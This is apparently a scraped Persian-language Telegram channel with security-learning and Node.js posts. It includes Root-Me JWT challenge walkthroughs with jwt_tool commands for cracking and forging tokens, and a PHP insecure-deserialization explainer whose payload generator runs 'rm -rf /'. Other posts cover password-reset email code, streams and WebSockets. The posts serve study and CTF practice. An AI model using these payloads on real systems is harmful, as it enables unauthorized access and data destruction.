/dev/null
321 subscribers
50 photos
11 videos
8 files
111 links
| دستمو گذاشتم رو این کار ، قلبمو گذاشتم. |

هر new ای را delete ای ست و پس از آن null کردنی (:
Download Telegram
Forwarded from Daily Writeups
Title: Mengungkap Jejak Serangan XSS dan SQL Injection Menggunakan Wireshark
════════════════════════
𐀪 Author: Triadi W
════════════════════════
Time: Tue, 28 Jan 2025 17:01:56 GMT
════════════════════════
Tags: #wireshark #merdekasiber #sql_injection #xss_attack
https://www.root-me.org/en/Challenges/Web-Server/JWT-Introduction

https://www.root-me.org/en/Challenges/Web-Server/JWT-Weak-secret

https://www.root-me.org/en/Challenges/Web-Server/JWT-Revoked-token

این سه تا چلنج برای آسیب پذیری که موقع encode کردن jwt پیش میاد هس
اولیش بر میگرده به اینکه تویه header الگوریتم encode کردنش none باشه و بعد یوزر رو هم ادمین کنین

دومیش هم با jwt_tool میشه secret که باهاش encode شده رو بدست آورد:

 python3 jwt_tool.py "jwt_token" -C -d /usr/share/wordlists/rockyou.txt  

و بعد بدست آوردن secret :
 python3 jwt_tool.py "JWT_token" -T -S hs512 -p "{secret}"

و تویه سومی هم که جذاب بود این بود که وقتی توکن رو ارسال می‌کرد سریع منقضی میشد و وارد بلک لیست میشد
ولی نکته اینجا بود که خود توکن وارد بلک لیست میشد نه آی دی json ! ( یه ای دی داشت واسه اینکه جلوی چند بار درخواست با اون توکن رو بگیره )
حالا میشه دو تا توکنی پیدا کرد که دقیقا Decode شدش مث هم باشه ولی دو تا ای دی جدا بده و حالا از بلک لیست خارج میشیم. یه همچین چیزی :
(×××.×××.×××) ==== (×××.×××.×××=)
( ینی توکن هسن 🦦)
در واقع decode شده ی =××× با ××× برابر هس.
1
ارسال به ایمیل کاربر برای مواقعی مثل Reset Pass :
const nodemailer = require('nodemailer');
const crypto = require('crypto');

const transporter = nodemailer.createTransport({
service: 'gmail',
auth: {
user: 'x@gmail.com', // Replace with your email
pass: 'pass' // Replace with your app password as Google Account Security
}
});

// function for create pass token
function generateStrongPassword(){
return new Promise((resolve, reject) => {
crypto.randomBytes(32, (err, buffer) => {
if (err) {
reject(err);
} else {
const token = buffer.toString('hex');
resolve(token);}
});
});
}
router.get('/forget_pass' , async(req , res) => {
res.render('forget_password')
})

router.post('/forget_pass' , async(req , res) => {

const {email} = req.body ;
const user = await userModel.findOne({ where: { email } }); // find user
if (user){
const token = await generateStrongPassword() ;
// add in file {forget.pass.model.js}
console.log(token)
await ResetPassword.create({
email: user.email ,
token : token ,
expire: Date.now() + 3600000
})
const resetUrl = `http://localhost:8000/auth/forget_pass/${token}`;
const mailOptions = {
from: 'x@gmail.com',
to: user.email,
subject: 'Password Reset Request',
html: `
<h1>Password Reset Request</h1>
<p>You requested a password reset. Click the link below to reset your password:</p>
<a href="${resetUrl}" style="
...
">Reset Password</a>
<p>This link will expire in 1 hour.</p>

`
};
await transporter.sendMail(mailOptions);
res.send("Email sent");

console.log(token)
}
else{
res.redirect('/auth/login')
}
})
👍41
فرض کنین بخوایم یه فایل 1 گیگ رو از سرور بخونیم و بدیم به کاربر و بخوایم به صورت ناهمزمان که قبلا گفتم ، اطلاعات فایل رو بفرستیم ( به این صورت fs.readFile )
حالا اگه سرور، Ram کمتر از یه گیگ داشته باشه کرش میکنه
اینجا stream ها میان کمک و داده ها رو به صورت chunk chunk ( بخش بخش ) میفرستیم و سریع اطلاعات پردازش میشن و اینطوری دیگه ram پر نمیشه و مستقیم به کلاینت ارسال میشن .
مثالشم :
const http = require('http');
const fs = require('fs');

http.createServer((req, res) => {
const stream = fs.createReadStream('bigfile.txt', { encoding: 'utf8' });
stream.pipe(res);
}).listen(3000, () => console.log('httplocalhost:8080'));

اینجا stream.pipe میاد مستقیم اطلاعات رو به کلاینت میده .
👍1👏1
Forwarded from Daily Writeups
Title: PHP Type Juggling Vulnerabilities: How Attackers Exploit Loose Comparisons
════════════════════════
𐀪 Author: Amal PK
════════════════════════
Time: Thu, 06 Feb 2025 15:02:16 GMT
════════════════════════
Tags: #bug_bounty #bug_bounty_tips #programming #hacking #cybersecurity
👍3
Serialization

کلا وقتی بیایم یه object رو به یه رشته یا فرمت باینری در بیاریم به این کار میگن Serialization .

چرا اصلا این کارو میکنیم ؟
یه دلیل مهمش اینه که داده ها تویه شبکه باید به صورت رشته یا باینری انتقال داده بشن و یا کش کردن و ...

حالا یه آسیب پذیری Insecure Deserialization رخ میده و زمانی اتفاق می‌افته که ورودی کنترل‌نشده از کاربر مستقیماً توسط unserialize() پردازش بشه.

( این Deserialization ینی داده رو از رشته به object تبدیل کنیم )

کجا رخ میده ؟ بیشتر تویه کوکی ها ، session ها و ورودی های کاربر هست که میتونه باعث RCE که قبلا گفتم راجبش بشه

یکی از جاهایی که میتونه رخ بده استفاده از magic methods هاست مثلا اگه‌ کد آسیب پذیر این باشه :

class Evil {
public $cmd;

function __destruct() {
system($this->cmd);
}
}
if (isset($_COOKIE['session'])) {
$data = base64_decode($_COOKIE['session']);
$obj = unserialize($data);
}
?>

میشه با این :
<?php
class Evil {
public $cmd;

function __destruct() {
system($this->cmd);
}
}

$evil = new Evil();
$evil->cmd = "rm -rf /";

$payload = base64_encode(serialize($evil));
echo "Payload: " . $payload . "\n";
?>

میشه با این کد یه توکن ساخت و بعدش تویه قسمت کوکی هایی که برای کاربر ست میشه قرار بدیم . بعد __destruct صدا زده میشه و دستور اجرا میشه .
خب آقا همین طور که میبینین در اصل ما داریم object تزریق میکنیم به کد رویه سرور که بر خلاف حالا زبان های python و node js که میشه مستقیم code inject کرد. در اصل اصلا نمیشه بدون داشتن سورس کد رویه سرور های php، این آسیب پذیری رو روش تست کرد مگه اینکه بشه حدس زد کدش رو .
2👍1😁1
https://www.root-me.org/en/Challenges/Web-Server/PHP-Serialization?lang=en

آقا تویه این چلنجه هم مث همین بالا Deserialization انجام می‌داد ولی یه چی که مهم بود اینه که type واسش مهم بود
کلا Type Juggling داشت

وقتی رخ میده که کلا نوع داده رو تغییر میده مثلا :

var_dump("0e12345" == "0e67890"); true
حالا یه تیکه سورس کدش این بود :

    if ($data['password'] == $auth[ $data['login'] ] ) {
$_SESSION['login'] = $data['login'];

که Type Juggling داشت و با این روش باید object inject میکردیم
گفتم اینم ببینین که فقط magic method نباشه 🦦
👏2
This media is not supported in your browser
VIEW IN TELEGRAM
یه قسمت نیاز داشتیم برای ارتباط بین ادمین ها که دیدم بحث خوبیه 🦦

وب سوکت (WebSocket) یه پروتکل ارتباطیه که دو تا ویژگی داره : real time و full duplex . ینی به صورت همزمان و در لحظه امکان ارتباط بین کلاینت و سرور رو برقرار میکنه
حالا چطوری ارتباط میگیره ؟
اولش از طریق HTTP یه درخواست ساده ارسال میشه و تویه هدر درخواستش یه سری هدر های خاص مث ( Upgrade) هس که نشون میده کلاینت میخواد بره رویه از HTTP بره رویهWebSocket ( که همچنان رویه tcp کار میکنه) که اگه سرور موافقت کنه یه اتصال دائمی و دوطرفه برقرار می‌شه که در آن، کلاینت و سرور می‌تونن در هر لحظه داده ارسال و دریافت کنند بدون اینکه نیاز به ایجاد مجدد اتصال باشه.
( اطلاعات چتا رو رویه MongoDB سیو کردم)
🔥2👏1
Forwarded from Brut Security
🔖A useful one-liner that extracts all API endpoints from AngularJS and Angular JavaScript files.

curl -s URL | grep -Po "(\/)((?:[a-zA-Z\-_\:\.0-9\{\}]+))(\/)*((?:[a-zA-Z\-_\:\.0-9\{\}]+))(\/)((?:[a-zA-Z\-_\/\:\.0-9\{\}]+))" | sort -u
Please open Telegram to view this post
VIEW IN TELEGRAM
کتاب یکم مفاهیمش قدیمی هس و فریم‌ورک‌های جدیدی رو زیاد توضیح نمیده
ولی مفاهیم پایه رو خوب گفته . در کل بد نبود 🦦
👏2